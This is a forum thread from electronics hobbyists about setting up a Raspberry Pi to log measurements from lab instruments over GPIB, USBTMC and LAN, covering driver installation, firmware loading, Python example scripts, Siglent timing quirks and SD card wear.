root@raspi2:/home/bingo# ./idn1.py
KEITHLEY INSTRUMENTS INC.,MODEL 2015,1043877,B15  /A02 

root@raspi2:/home/bingo#


**** Success on Noobs 1.4.1  - on a Raspi v1  - I disabled devicetree under advanced , but am not sure if it's needed
https://downloads.raspberrypi.org/NOOBS/images/NOOBS-2015-05-12/


uname -a
Linux raspi2 3.18.0-trunk-rpi #1 PREEMPT Debian 3.18.5-1~exp1+rpi19 (2015-08-08) armv6l GNU/Linux

Using my "old recipee"
https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/msg329067/#msg329067

TIN's: Might be clearer
https://xdevs.com/guide/agilent_gpib_rpi/

Basically install Noobs 1.4.1 then do a : 
1: sudo apt-get update
2: sudo apt-get upgrade
3: reboot
4: sudo apt-get install linux-image-rpi-rpfv   (If you are using newer Raspberry Pi 2, please use linux-image-rpi2-rpfv)
5: reboot
6: sudo apt-get install linux-headers-$(uname -r)

Rest from the recipee

Remember
sudo apt-get install fxload


Kernel stuff to append to /boot/config.txt  (Kernel version dependant , look in /boot for the latest kernel installed)
Code: [Select]
# Set params for "raspbian debian-style kernel" boot
kernel=vmlinuz-3.18.0-trunk-rpi
initramfs initrd.img-3.18.0-trunk-rpi followkernel


Ohh - Seems like the udev "autoload firmware doesn't work"
I had to do the loads manually

******** Load firmware begin ********

lsusb
Bus 001 Device 005: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface

/dev/bus/usb/001/005

 #Load fw 2 times , but the id changes after first and second load

fxload -t fx2 -D /dev/bus/usb/001/008 -I /usr/share/usb/agilent_82357a/measat_releaseX1.8.hex
fxload -t fx2 -D /dev/bus/usb/001/009 -I /usr/share/usb/agilent_82357a/measat_releaseX1.8.hex

lsusb after 2'nd load
Bus 001 Device 010: ID 0957:0718 Agilent Technologies, Inc.

sudo gpib_config

If : gpib_config: error while loading shared libraries: libgpib.so.0: cannot open shared object file: No such file or directory
     You missed the : ldconfig


*** From syslog ***
Dec 17 11:43:55 raspi2 kernel: [  713.777579] usb 1-1.2: USB disconnect, device number 10
Dec 17 11:43:55 raspi2 kernel: [  713.778097] agilent_82357a_driver_disconnect: exit
Dec 17 11:43:57 raspi2 kernel: [  715.511199] usb 1-1.2: new high-speed USB device number 11 using dwc_otg
Dec 17 11:43:57 raspi2 kernel: [  715.600619] usb 1-1.2: New USB device found, idVendor=0957, idProduct=0718
Dec 17 11:43:57 raspi2 kernel: [  715.600658] usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=5
Dec 17 11:43:57 raspi2 kernel: [  715.600677] usb 1-1.2: Product: 82357B ()
Dec 17 11:43:57 raspi2 kernel: [  715.600694] usb 1-1.2: Manufacturer: Agilent Technologies, Inc.
Dec 17 11:43:57 raspi2 kernel: [  715.600712] usb 1-1.2: SerialNumber: MY49450180
Dec 17 11:43:57 raspi2 kernel: [  715.611862] probe succeeded for path: usb-bcm2708_usb-1.2
Dec 17 11:43:57 raspi2 /etc/hotplug/usb/agilent_82357a: entered for Product: 957/718/0 Device: $devnode Serial: MY.... Devpath: /devices/platform/bcm2708_usb/usb1/1-1/1-1.2
Dec 17 11:50:49 raspi2 kernel: [ 1127.274586] attached to bus interface 0, address 0xd9806800
Dec 17 11:50:49 raspi2 kernel: [ 1127.281251] agilent_82357a_attach: attached


******** Load firmware end ********

Remember to make your user member of the gpib group ,
and put  agilent_82357a in /etc/modules

Hmm .... Seems like i have to do a : sudo chmod 666 /dev/gpib*
Even though i'm a member of the gpib group .. strange


/Bingo

« Last Edit: December 17, 2016, 02:12:12 pm by bingo600 »
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 140
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #120 on: December 17, 2016, 11:12:35 am »
Have you tried the 4.x kernel on v1? If not, could you? It might be good to know whether this is a generic issue or just for the newer boards.

A while back I've tried Ubuntu Mate, without much success. I don't remember the details, probably it was my lack of Linux expertise - as if some of the commands didn't work properly. I can give it another try.
Btw, forget the Ubuntu Snappy, it is said to be not working.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #121 on: December 17, 2016, 11:16:55 am »
Have you tried the 4.x kernel on v1? If not, could you? It might be good to know whether this is a generic issue or just for the newer boards.

A while back I've tried Ubuntu Mate, without much success. I don't remember the details, probably it was my lack of Linux expertise - as if some of the commands didn't work properly. I can give it another try.
Btw, forget the Ubuntu Snappy, it is said to be not working.

I did try the latest 4.38 (Jessie) on my v1 yesterday , same problems as on my v3
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #122 on: December 17, 2016, 11:50:08 am »
I think this is a very good idea.  To have a bunch of python scripts in one spot on a raspberry PI.   I hope everyone contributes scripts for their devices that are not implemented yet.  Is PyVisa included in the image?   I'm just working on the Rigol DM3068 stuff.

Dwaine

I have the Rigol DM3068 meter done for LAN connection.   I can test the USB setup too.  How are we doing this.  Separate scripts for each connection type or just have each connection in the python script commented out?

Dwaine

Is there a GIThub that I can do a pull request.
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #123 on: December 17, 2016, 12:13:22 pm »
I think this is a very good idea.  To have a bunch of python scripts in one spot on a raspberry PI.   I hope everyone contributes scripts for their devices that are not implemented yet.  Is PyVisa included in the image?   I'm just working on the Rigol DM3068 stuff.

Dwaine

I have the Rigol DM3068 meter done for LAN connection.   I can test the USB setup too.  How are we doing this.  Separate scripts for each connection type or just have each connection in the python script commented out?

Dwaine

Is there a GIThub that I can do a pull request.

Go to the xDevs site and download image
https://xdevs.com/doc/_Images_RPI-DL/
Restore it on SD card. After boot go to the pub/python folder where are multiple scripts.
For test USB connection use this Test_USB.py, you needs to change the USB meter PIV/VID and run script   .


Code: [Select]
# Test USB
import usbtmc
instr =  usbtmc.Instrument("USB::0x0957::0x0a07::INSTR")
print(instr.ask("*IDN?"))

response will be something like this
Code: [Select]
pi@raspberrypi:/pub/python $ sudo python Test_USB.py
Agilent Technologies,34411A,MY12345678,2.41-2.40-0.09-46-09


For LAN there is Test_LAN.py   example.

Code: [Select]
# Test VXI11
import vxi11
instr = vxi11.Instrument("192.168.0.10")
print(instr.ask("*IDN?"))

you can add as a first line #!/usr/bin/python2
and run script by sudo ./Test_LAN.py
« Last Edit: December 17, 2016, 12:16:42 pm by plesa »
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #124 on: December 17, 2016, 12:23:27 pm »
USB tested OK, so both USB and LAN are fully functional on the Rigol DM3068.   I have the Rigol DM3068 scripts working.  Is there a GITHub I can do a pull request to get the DM3068 added.  Then other people can enjoy. 

With some more work on the web server side of things.  This could be really a great setup.  Already enjoying the logging.   
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 140
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #125 on: December 17, 2016, 12:37:39 pm »
This Noobs 1.4.1 doesn't boot on my PI3. If you observe, the newer releases (I've checked the 2.1) have files like bcm27*, which seem to correspond to the different hardware versions. The 1.4 has no such files.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #126 on: December 17, 2016, 12:47:49 pm »
This Noobs 1.4.1 doesn't boot on my PI3. If you observe, the newer releases (I've checked the 2.1) have files like bcm27*, which seem to correspond to the different hardware versions. The 1.4 has no such files.

Sigh ....  Sorry about that

A v2 would boot afaik

/Bingo
« Last Edit: December 17, 2016, 01:43:23 pm by bingo600 »
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #127 on: December 17, 2016, 01:52:53 pm »
USB tested OK, so both USB and LAN are fully functional on the Rigol DM3068.   I have the Rigol DM3068 scripts working.  Is there a GITHub I can do a pull request to get the DM3068 added.  Then other people can enjoy. 
plesa created this repository:
https://github.com/PlesaEEVBlog/RPi_LogNut
@plesa please accept my pull request for the initial content, so that it doesn't get out of sync for too long.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 
The following users thanked this post: Dwaine

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #128 on: December 17, 2016, 02:45:10 pm »
USB tested OK, so both USB and LAN are fully functional on the Rigol DM3068.   I have the Rigol DM3068 scripts working.  Is there a GITHub I can do a pull request to get the DM3068 added.  Then other people can enjoy. 
plesa created this repository:
https://github.com/PlesaEEVBlog/RPi_LogNut
@plesa please accept my pull request for the initial content, so that it doesn't get out of sync for too long.

Ok.  I'll wait until the Initial pull happens and then do my get/pull for the Rigol DM3068. 
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #129 on: December 17, 2016, 03:17:01 pm »
I have not tried the http.server and I would like to see how easy it is to implement.

I just tried the webserver, now I can read the value of my benchtop multimeter which has only RS232, in a webpage and even from the internet, if I would add a NAT rule to my router  :)

https://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/HM8012_Webserver.py

How it looks like (the real version reloads automatically every second) :



Of course, this is just a quick hack. You would not create the web pages in the Python code, but state of the art is probably to use some WebSocket API, serve local static files and then some JavaScript communicates over the WebSocket with JSON requests with the Python script.

I will also do an example web server view for the Rigol DM3068.
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #130 on: December 17, 2016, 04:54:45 pm »
The Rigol DM3068 running on the Raspberry PI logging.  Check it out  Give it an Internet test.....

http://99.232.17.239/DM3068_Logs.html

Dwaine
 
The following users thanked this post: TiN

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #131 on: December 17, 2016, 05:35:29 pm »
Nice :)

plesa

How do you create images? Just simple plain bit-bit clone of SDcard, or there is some tool?
I'd like to make few images too, for DE1-SoC FPGA board running linux-gpib. Got I2C working today with BME280 on it. Next step is GPIO and SPI, so I can control ADCs/DACs as well.
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #132 on: December 17, 2016, 06:35:57 pm »
Nice :)

plesa

How do you create images? Just simple plain bit-bit clone of SDcard, or there is some tool?
I'd like to make few images too, for DE1-SoC FPGA board running linux-gpib. Got I2C working today with BME280 on it. Next step is GPIO and SPI, so I can control ADCs/DACs as well.
There are several ways.Resizing It tried but it is too complicated. I used bit clone and compress it by gzip/tar.
USB tested OK, so both USB and LAN are fully functional on the Rigol DM3068.   I have the Rigol DM3068 scripts working.  Is there a GITHub I can do a pull request to get the DM3068 added.  Then other people can enjoy. 
plesa created this repository:
https://github.com/PlesaEEVBlog/RPi_LogNut
@plesa please accept my pull request for the initial content, so that it doesn't get out of sync for too long.

OK, I will try tomorrow.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #133 on: December 18, 2016, 07:04:54 am »
Someone here claims to have linux-gpib running w. an agilent on a rpi v3.
http://www.messtechniklabor.de/artikel-h0014-raspberry_pi_3_model_b_mit_linux_gpib_und_kernel_4_1.html

Seems like he has the old a model not the later b adapter.

I did try to build it (1h20m for kernel) , on a kernel 4.4.34 platform. 
Build/boot ok , but same linux-gpib result ... timeout.


One correction though

Where he writes
Quote
#raspberry pi 2/3
KERNEL=kernel7

You need to either do an
Code: [Select]
export KERNEL=kernel7
Or maybe better replace $KERNEL.img on the below line with kernel7.img
sudo scripts/mkknlimg arch/arm/boot/zImage /boot/$KERNEL.img



My startingpoint was NOOBS-1.9 https://downloads.raspberrypi.org/NOOBS/images/NOOBS-2016-03-18/

But i did the distupgrade before build , that lifted the platform to kernel 4.4.34.
Maybe someone can try wo. the distupgrade, where it's platform 4.1.19 i think.

/Bingo
« Last Edit: December 18, 2016, 07:08:27 am by bingo600 »
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 140
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #134 on: December 18, 2016, 01:24:22 pm »
Did the procedure on 2016-03-18-raspbian-jessie (4.1.21 kernel), it doesn't work afterwards either.
Actually it seems to work less with this than the v2 image, with that at least the instrument detects that it is being addressed. With this, nothing. It can easily be though, that I did something wrong.
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #135 on: December 18, 2016, 04:35:53 pm »
@FrankBuss

SPD3303 is very slow at handling commands.

You need to put a sleep after the command or it get messed.

I use something like this:

siglent.write("INST CH2")
time.sleep(1)
siglent.write("CH2:VOLT 0")
time.sleep(1)
siglent.write("CH2:CURR 1.3")
time.sleep(1)
siglent.write("OUTP CH2, ON")
time.sleep(1)


you can also lower sleep to 0.1 seconds if you need more speedy setup.
I guess this is the same problem I found out when I use the USBTMC Linux kernel driver on my PC, and might be really a bad firmware on the power supply. I can lower the delay down to 10 ms and it works always. With 5 ms sometimes it doesn't work. So might be safe to wait 20 ms. The instrument itself seems to be fast. I can do a "CH2:VOLT 9" command and 10 ms later a "CH2:VOLT 8" command and it is set to 8 V.

But I still can't read anything reliably. Could you try this on your system?

Code: [Select]
print(siglent.ask("*IDN?"))

Sometimes it shows the device, but most of the time it generates an error: "Operation timed out". I tried to edit /opt/python-usbtmc/build/lib.linux-armv7l-2.7/usbtmc/usbtmc.py and insert a time.sleep(0.1) after line 629 in the ask function, between the write and read, and it looks like it helps a bit, but I'm still getting the timeout error often.

At least writing works with the delay. But would have been nice to get the current reading working, too.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline Karel

  • Super Contributor
  • ***
  • Posts: 1395
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #136 on: December 18, 2016, 05:10:22 pm »
Additional benefit of using the USBTMC kernel driver: you can use it from other programs as well, not just from Python. On my PC I can do this:

echo "*IDN?" > /dev/usbtmc0
cat /dev/usbtmc0

and it answers with

Siglent Technologies,SPD3303,SPD00002130137,1.01.01.01.05,V1.1

(but still with the timeout problem: after printing this line it hangs for about 5 seconds and then it says "cat: /dev/usbtmc0: Connection timed out")

The timeout "problem" isn't a problem at all but just how the usbtmc protocol is implemented.
The cat program keeps on reading till it receives an EOF.
Usbtmc protocol uses a newline character at the end of a message, not an EOF.
Cat ignores the newline character and will continue to ask for more data till the driver timesout which is after 5 seconds.
A program that is written to read from an usbtmc device will stop reading when it detects a newline character in the message.
The difference between theory and practice is less in theory than
the difference between theory and practice in practice.
Expensive tools cannot compensate for lack of experience.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #137 on: December 18, 2016, 05:25:36 pm »
Guyzz

Dave Penkler (linux-gpib maintainer) , has ansvered my e-mail , and suggests to build linux-gpib w. debugging enabled.
./configure  --enable-driver-debug

He uses latest kernels ie. 4.9 , but only have i386 based machines.

So he lacks a Raspi v3 to debug on.


He'll borrow one

/Bingo
« Last Edit: December 19, 2016, 02:38:08 pm by bingo600 »
 

Offline cdev

  • Super Contributor
  • ***
  • Posts: 5082
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #138 on: December 18, 2016, 05:46:04 pm »
Two things.

1.) A *logging* platform should definitely log to a real hard drive because the process of logging inherently makes a great many individual writes which will destroy flash memory cards eventually. (For the same reason compiling software on them will, hopefully people know that)

Good practice would be to put the boot OS on the SD card and do all logging - also any compiles, should take place on a real HD which can be a small one. SD cards have improved a lot but this is still good practice. You should also use the real HD for swap.

Set the SD card to "noatime" so that a separate write is not done when files are accessed also. USB SATA enclosures can be had for as little as $5 and a small low current requirement SATA drive is similarly cheap. Two can be used for data redundancy using software RAID.(use a powered USB hub because the RPI can only supply a fairly modest amount of power to power other devices.)

2.) David Taylor has done a lot of research into running NTP on an RPI using a GPS and kernel 1pps to provide an accurate timing reference. (Most people here have probably already seen his web pages I'm sure but worth mentioning anyway as lots of useful info) . I recently saw a link there to this discussion about a small change  which reduces the latency of the onboard USB-based Ethernet. Seems worth looking into.
"What the large print giveth, the small print taketh away."
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #139 on: December 18, 2016, 09:11:40 pm »
The timeout "problem" isn't a problem at all but just how the usbtmc protocol is implemented.
The cat program keeps on reading till it receives an EOF.
Usbtmc protocol uses a newline character at the end of a message, not an EOF.
Cat ignores the newline character and will continue to ask for more data till the driver timesout which is after 5 seconds.
A program that is written to read from an usbtmc device will stop reading when it detects a newline character in the message.
Ok, but why does it work sometime and sometimes not with pyusb? And the USBTMC kernel driver works always, if I use the code from here, but I guess "os.read(self.FILE, 4096)" doesn't wait for EOF, but reads all currently available data. So probably the pyusb implementation has some other problems, in combination with the Siglent instrument, because the HP gear seems to work, probably with the Linux kernel driver, too. So might be a good idea to use the Linux kernel driver instead of the Python implementation, if there are no problems with the HP devices.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #140 on: December 18, 2016, 09:19:51 pm »
1.) A *logging* platform should definitely log to a real hard drive because the process of logging inherently makes a great many individual writes which will destroy flash memory cards eventually. (For the same reason compiling software on them will, hopefully people know that)

Good practice would be to put the boot OS on the SD card and do all logging - also any compiles, should take place on a real HD which can be a small one. SD cards have improved a lot but this is still good practice. You should also use the real HD for swap.

Another idea is to use a network drive. I have a NAS (with RAID0) and copied the /pub directory to it. Then I mounted this directory from my Raspberry Pi, now doing some long time logs for the Batteroo test. But probably not a good idea to use swap over ethernet. Best would be to disable swap and mount the main filesystem read-only, using the rest from the NAS.

Some time ago for another platform I could even load the Linux kernel over network with u-boot, and then even mount the root filesystem over NFS. This is really helpful for developing, because then you don't have any size limitations of the platform and testing new kernel versions is faster, and it can't brick, if you backup the last kernel (and modules).
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #141 on: December 18, 2016, 09:38:18 pm »
1.) A *logging* platform should definitely log to a real hard drive because the process of logging inherently makes a great many individual writes which will destroy flash memory cards eventually. (For the same reason compiling software on them will, hopefully people know that)

Good practice would be to put the boot OS on the SD card and do all logging - also any compiles, should take place on a real HD which can be a small one. SD cards have improved a lot but this is still good practice. You should also use the real HD for swap.

Another idea is to use a network drive. I have a NAS (with RAID0) and copied the /pub directory to it. Then I mounted this directory from my Raspberry Pi, now doing some long time logs for the Batteroo test. But probably not a good idea to use swap over ethernet. Best would be to disable swap and mount the main filesystem read-only, using the rest from the NAS.

Some time ago for another platform I could even load the Linux kernel over network with u-boot, and then even mount the root filesystem over NFS. This is really helpful for developing, because then you don't have any size limitations of the platform and testing new kernel versions is faster, and it can't brick, if you backup the last kernel (and modules).

Raspbian has swap disabled. Booting form network should be possible ( U-Boot on RPi is running ), but it will limit majority of potential users. It will be too difficult for them to setup DHCP and PXE.
I will check the USBTMC kernel implementation. I do not accoutered any issue, but I was using only HP/Agilent and Keysight gear over USB.
 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 667
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #142 on: December 18, 2016, 09:41:01 pm »
@FrankBuss - or any siglent power supply user

I use following sequence to initialise the thing.

siglent = usbtmc.Instrument("USB::0x0483::0x7540::INSTR")
siglent.clear()
time.sleep(0.1)
siglent.write("*IDN?")
time.sleep(0.1)
print (siglent.read())
time.sleep(0.1)

This works 100% for me, I have a complicate process working for days and programming the V of power supply every second without any problem.
Only when you stop the program sometime the power supply don't work at first connection, in this case just stop python program and start again (or maybe just close USBTMC connection and reopen).

You cannot use ask because (I didn't checked, but I think) ASK is making WRITE and READ one after the other and this will confuse the thing.
So to make it work just use [write, sleep, read] sequence.













@FrankBuss

SPD3303 is very slow at handling commands.

You need to put a sleep after the command or it get messed.

I use something like this:

siglent.write("INST CH2")
time.sleep(1)
siglent.write("CH2:VOLT 0")
time.sleep(1)
siglent.write("CH2:CURR 1.3")
time.sleep(1)
siglent.write("OUTP CH2, ON")
time.sleep(1)


you can also lower sleep to 0.1 seconds if you need more speedy setup.
I guess this is the same problem I found out when I use the USBTMC Linux kernel driver on my PC, and might be really a bad firmware on the power supply. I can lower the delay down to 10 ms and it works always. With 5 ms sometimes it doesn't work. So might be safe to wait 20 ms. The instrument itself seems to be fast. I can do a "CH2:VOLT 9" command and 10 ms later a "CH2:VOLT 8" command and it is set to 8 V.

But I still can't read anything reliably. Could you try this on your system?

Code: [Select]
print(siglent.ask("*IDN?"))

Sometimes it shows the device, but most of the time it generates an error: "Operation timed out". I tried to edit /opt/python-usbtmc/build/lib.linux-armv7l-2.7/usbtmc/usbtmc.py and insert a time.sleep(0.1) after line 629 in the ask function, between the write and read, and it looks like it helps a bit, but I'm still getting the timeout error often.

At least writing works with the delay. But would have been nice to get the current reading working, too.
« Last Edit: December 18, 2016, 09:43:15 pm by mimmus78 »
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #143 on: December 19, 2016, 12:34:08 am »
Ummmm.  I did not use any sleeps in my Rigol DM3068 python script.  Right now I'm letting the USB connection run continuously.   So far no problems with the python USBTMC. 

http://99.232.17.239

Dwaine

 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #144 on: December 19, 2016, 01:02:35 am »
I have a Keysight u1272a meter. Would anyone object if I submitted the python, HTML, web server display for it?

Dwaine
 

Offline cdev

  • Super Contributor
  • ***
  • Posts: 5082
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #145 on: December 19, 2016, 01:26:46 am »
Okay, I realize this is likely stuff people here already know about. But it cant hurt to remember it.

I wanted to encourage you to consider using a real hard drive on your logger from the start.. You cannot argue with the price of these "Pi Drives" - These hard drives are designed to be used with the Raspberry Pi. They incorporate a USB to SATA converter and an additional USB plug for bringing in additional power.

http://wdlabs.wd.com/category/wd-pidrive/

But if you must use flash memory, one way to optimize logging to SD cards for flash memory longevity is to cache and delay writes for several seconds, then do the writes at the same time, as one. That will reduce the raw number of writes. Of course, then if you lose power you will have lost the last few seconds of writes. A good search term to learn more is "wear leveling".  Another option is doing your writing to an NFS mounted share on another computer.

There is no reason not to simply be careful. You could run a cron job to back up your SD card every few hours.

That said, I usually only hook up a real hard drive to my Raspberry Pis when I want to compile something.

 I usually just use the SD normally and set the options on software to only log the needed data and errors and not all diagnostic messages.  Most pre-built software on Raspbian should use sensible defaults for flash memory, which will be different than the ones used on desktops and laptops.
On programs that write big logs by default, you have to tell them to log less or eventually your SD cards will need replacement. Luckily its usually possible to get most of the data off them.

They get significantly better every year at handling lots of writes. But still there is a huge level of variability in SD card quality. Bunnie Huang has written extensively on this. You might want to check out his web site.

You cant treat an SD card as if its a hard disk or even an SSD.
"What the large print giveth, the small print taketh away."
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #146 on: December 19, 2016, 03:29:56 am »
Ummmm.  I did not use any sleeps in my Rigol DM3068 python script.  Right now I'm letting the USB connection run continuously.   So far no problems with the python USBTMC. 

http://99.232.17.239

Dwaine

I have the KeySight U1272A example completed.   I actually have both the Rigol DM3068 and KeySight U1272A running concurrently taking measurements on the same raspberry PI.  No issue to report.   Both devices are connected by USB...  I wonder how many devices we could hook up to the raspberry pi before it becomes a problem?

Dwaine

 

Offline Karel

  • Super Contributor
  • ***
  • Posts: 1395
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #147 on: December 19, 2016, 07:40:11 am »
Ok, but why does it work sometime and sometimes not with pyusb?

Probably because of

... the pyusb implementation has some other problems, ...


The difference between theory and practice is less in theory than
the difference between theory and practice in practice.
Expensive tools cannot compensate for lack of experience.
 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 667
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #148 on: December 19, 2016, 10:54:42 am »
Ummmm.  I did not use any sleeps in my Rigol DM3068 python script.  Right now I'm letting the USB connection run continuously.   So far no problems with the python USBTMC. 
http://99.232.17.239
Dwaine

This come out from some Siglent firmware developer comment on some support request.
It's not driver but this Siglent power supply firmware that has this problem.
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #149 on: December 19, 2016, 03:48:56 pm »
I think all these companies should invest in the software side of things.  It really does make the hardware less useful when the firmware/software has problems.  I was reading the thread on the Rigol DP832 power supply rebooting during remote controlling and measuring.  It makes the power supply useless for some applications now. 

If they did firmware updates on a monthly or bi-monthly release.  It would help their product lines.

Dwaine
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #150 on: December 19, 2016, 03:54:12 pm »
I have a Keysight u1272a meter. Would anyone object if I submitted the python, HTML, web server display for it?

Dwaine

Frankbuss, I finish the Keysight U1272A example.  Working good. I sent a pull request to add the device.

http://99.232.17.239/U1272A_Logs.html

Dwaine
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #151 on: December 19, 2016, 10:58:00 pm »
Good progress on U1272. I just posted few my scripts on GitHub.Each script has own webpage, do we needs also the webpages or complete mirror of pub folder on RPi?

@Bingo600
Thanks for contacting Dave Penkler. I just buid linux GPIB with debug enabled.
I can ship one RPi3 to him if needed.

Next milestones are:
1. Fix support for 82357B ( clone and genuine)
2. Implement Prologix GPIB 6.0 support and provide examples
3. Kernel support of USBTMC ( pros/cons)
« Last Edit: December 19, 2016, 11:00:56 pm by plesa »
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #152 on: December 20, 2016, 06:31:44 am »
But if you must use flash memory, one way to optimize logging to SD cards for flash memory longevity is to cache and delay writes for several seconds, then do the writes at the same time, as one. That will reduce the raw number of writes. Of course, then if you lose power you will have lost the last few seconds of writes. A good search term to learn more is "wear leveling".  Another option is doing your writing to an NFS mounted share on another computer.
You are right, and there are other problems with SD cards. I was getting "Input / ouput error" when trying to access the SD card (e.g. just an "ls" command) now three times every time after the pi was running for a day. I was logged in with ssh and could still do a "dmesg", which showed this: http://pastebin.com/e4uNYLN2 Looks like some filesystem write failed. Maybe the image could be changed in a way that normally nothing is written on the SD card, like with the access time setting, if not already configured? The logging to the mounted network was still running without problems and after a reboot it worked again. But might be a problem with the power supply as well (I'm running it with an old Apple charger and didn't fix the resettable fuse problem on this device).
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 140
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #153 on: December 20, 2016, 09:58:11 am »
Hmm, interestingly 82357B worked here, once. In fact, first time on RPI3, ever.
Took the v2 image, updated and rebuilt kernel then built linux-gpib with debug.

First ibterm with K2000 didn't work, then tried ibterm with K2400, which, surprisingly, did work.
Afterwards ibtest worked for both. Even ibterm with K2000 worked fine.

Code: [Select]
pi@pi3:~ $ sudo ibterm -d 1 -e 0x0a -b 1 -x 1
Attempting to open /dev/gpib0
pad = 1, sad = 0, timeout = 10, send_eoi = 1, eos_mode = 0x1800
ibterm>*idn?
ibterm error: Unable to write to device at pad 1

 - EBUS 14: Bus error
ibterm>
ibterm: Done.
pi@pi3:~ $ sudo ibterm -d 24 -e 0x0a -b 1 -x 1
Attempting to open /dev/gpib0
pad = 24, sad = 0, timeout = 10, send_eoi = 1, eos_mode = 0x1800
ibterm>*idn?
KEITHLEY INSTRUMENTS INC.,MODEL 2400-C,1234567,C32   Oct  4 2010 14:20:11/A02  /G/H/E
ibterm>
ibterm: Done.

pi@pi3:~ $ sudo ibterm -d 1 -e 0x0a -b 1 -x 1
Attempting to open /dev/gpib0
pad = 1, sad = 0, timeout = 10, send_eoi = 1, eos_mode = 0x1800
ibterm>*idn?
KEITHLEY INSTRUMENTS INC.,MODEL 2000,1234567,A19  /A02
ibterm>
ibterm: Done.

After a reboot it doesn't work again. Doesn't matter whether ibtest or ibterm is tried.
 

Offline z01z

